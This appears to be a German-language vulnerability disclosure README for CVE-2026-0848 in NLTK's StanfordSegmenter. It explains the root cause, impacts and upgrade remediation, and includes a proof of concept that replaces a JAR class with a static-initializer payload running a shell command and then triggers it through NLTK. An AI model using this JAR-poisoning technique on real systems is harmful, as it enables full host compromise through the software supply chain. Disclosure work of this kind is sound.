CVE-2026-0848 — NLTK StanfordSegmenter: Beliebige Codeausführung durch Laden nicht vertrauenswürdiger JAR-Dateien

Übersicht

Beschreibung

nltk.tokenize.StanfordSegmenter lädt über subprocess dynamisch externe Java-.jar-Dateien, ohne eine Integritätsprüfung, Signaturprüfung oder Sandboxing durchzuführen. Die Klasse akzeptiert vollständig angreiferkontrollierte Parameter wie path_to_jar, path_to_model, path_to_dict und java_class und übergibt sie direkt an einen java -cp-Aufruf.

Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann – etwa durch ein vergiftetes Modell-Download, einen Man-in-the-Middle-Pakettausch, eine Abhängigkeitsvergiftung oder einen manipulierten Release-Mirror – wird beim Klassenladen beliebiger Java-Bytecode über den statischen Initialisierungsmechanismus der JVM ausgeführt. Dies stellt eine Remote-Code-Ausführung in der Lieferkette dar und umgeht die Python-Laufzeitumgebung vollständig.

Betroffene Komponenten

CVSS-Vektor

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Auswirkungen

Eine erfolgreiche Ausnutzung verschafft einem Angreifer die vollständige Kontrolle über das System, auf dem der NLTK-Segmentierungsprozess ausgeführt wird:

• Beliebige Java-Codeausführung — Jeder in der bösartigen JAR enthaltene Bytecode wird mit den Rechten des Python/Java-Prozesses ausgeführt
• Ausbruch aus der Python-Laufzeitumgebung — Die Ausführung wechselt in die JVM und umgeht damit jegliches Python-Sandboxing vollständig
• Kommandoausführung auf Betriebssystemebene — Angreifer können Runtime.getRuntime().exec() oder ProcessBuilder aufrufen, um beliebige Shell-Befehle auszuführen
• Datendiebstahl und -manipulation — Zugriff auf alle Dateien, Umgebungsvariablen, API-Schlüssel und Geheimnisse, die für den Prozess lesbar sind
• Vollständige Kompromittierung der Umgebung — In CI/CD-Pipelines, Produktions-NLP-Pipelines oder Serverumgebungen führt eine einzige bösartige JAR-Datei zur vollständigen Übernahme des Hosts

Hochriskante Einsatzszenarien

Diese Schwachstelle betrifft jeden NLP-Workflow, der StanfordSegmenter verwendet, einschließlich Chatbots, LLM-Vorverarbeitungspipelines, Datensatzsegmentierung, Dokumentklassifizierung und Produktions-Inferenzdiensten.

Proof of Concept

Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung haben.

Schritt 1 — Kernklassifikator durch bösartige Java-Klasse ersetzen

cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class

cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;

public class CRFClassifier {
    static {
        try {
            System.out.println("\nPayload executed — Code ran on class load!\n");
            Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
        } catch(Exception e){}
    }
    public static void main(String[] args){}
}
EOF

javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar

Schritt 2 — Die bösartige JAR-Datei erstellen

mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..

Schritt 3 — Über NLTK auslösen

# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter

print("[+] Triggering payload via modified Stanford JAR...")

seg = StanfordSegmenter(
    path_to_jar="stanford-segmenter.jar",
    path_to_sihan_corpora_dict="./data/",
    path_to_dict="./data/dict-chris6.ser.gz",
    path_to_model="./data/pku.gz",
    java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
    encoding="utf-8"
)

print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))

Ausgabe:

[+] Triggering payload via modified Stanford JAR...

Payload executed — Code ran on class load!

[+] Running segmentation...
我 爱 自然语言 处理

RCE bestätigen:

ls /tmp | grep pwned_hijack
# pwned_hijack

Grundursache

Die Schwachstelle ist in zwei Dateien vorhanden:

stanford_segmenter.py — Der Konstruktor der Klasse StanfordSegmenter akzeptiert path_to_jar, path_to_model, path_to_dict und java_class als einfache Zeichenkettenargumente und leitet sie direkt an die Java-Ausführungsebene weiter, ohne eine der folgenden Prüfungen durchzuführen:

• Pfad-Allowlist oder Durchsetzung vertrauenswürdiger Verzeichnisse
• SHA-256- oder kryptografische Signaturprüfung der JAR-Datei
• Validierung des Parameters java_class anhand einer bekannten, sicheren Menge von Klassennamen

internals.py — Die Hilfsfunktion java() erstellt und startet einen subprocess.Popen()-Aufruf mit dem benutzerbereitgestellten Classpath. Die JVM lädt sofort alle Klassen in der bereitgestellten JAR-Datei und führt dabei alle statischen Initialisierungsblöcke aus, bevor die Anwendungslogik läuft. Es gibt weder eine Sandbox, noch ein Integritätsgate oder einen Mechanismus, der die Ausführung von injiziertem Bytecode verhindert.

Behebung

Die Schwachstelle wurde im Upstream-NLTK-Repository vollständig behoben.

Aktualisieren Sie auf eine gepatchte Version von NLTK, sobald sie auf PyPI verfügbar ist.

Abhilfemaßnahmen

Upgrade über pip:

pip install --upgrade nltk

Installierte Version überprüfen:

python -c "import nltk; print(nltk.__version__)"

Zeitleiste

Referenzen

Haftungsausschluss

Dieses Repository dokumentiert CVE-2026-0848 ausschließlich für Bildungs-, Forschungs- und Verteidigungszwecke. Der Proof-of-Concept-Code und die technischen Details werden bereitgestellt, um Entwicklern, Sicherheitsingenieuren und Systemadministratoren zu helfen, diese Schwachstelle zu verstehen, zu bewerten und zu beheben.

Jegliche Nutzung dieser Informationen zum Zugriff auf oder zur Kompromittierung von Systemen ohne ausdrückliche Genehmigung ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch der enthaltenen Informationen.

Mitwirkende: ketanHub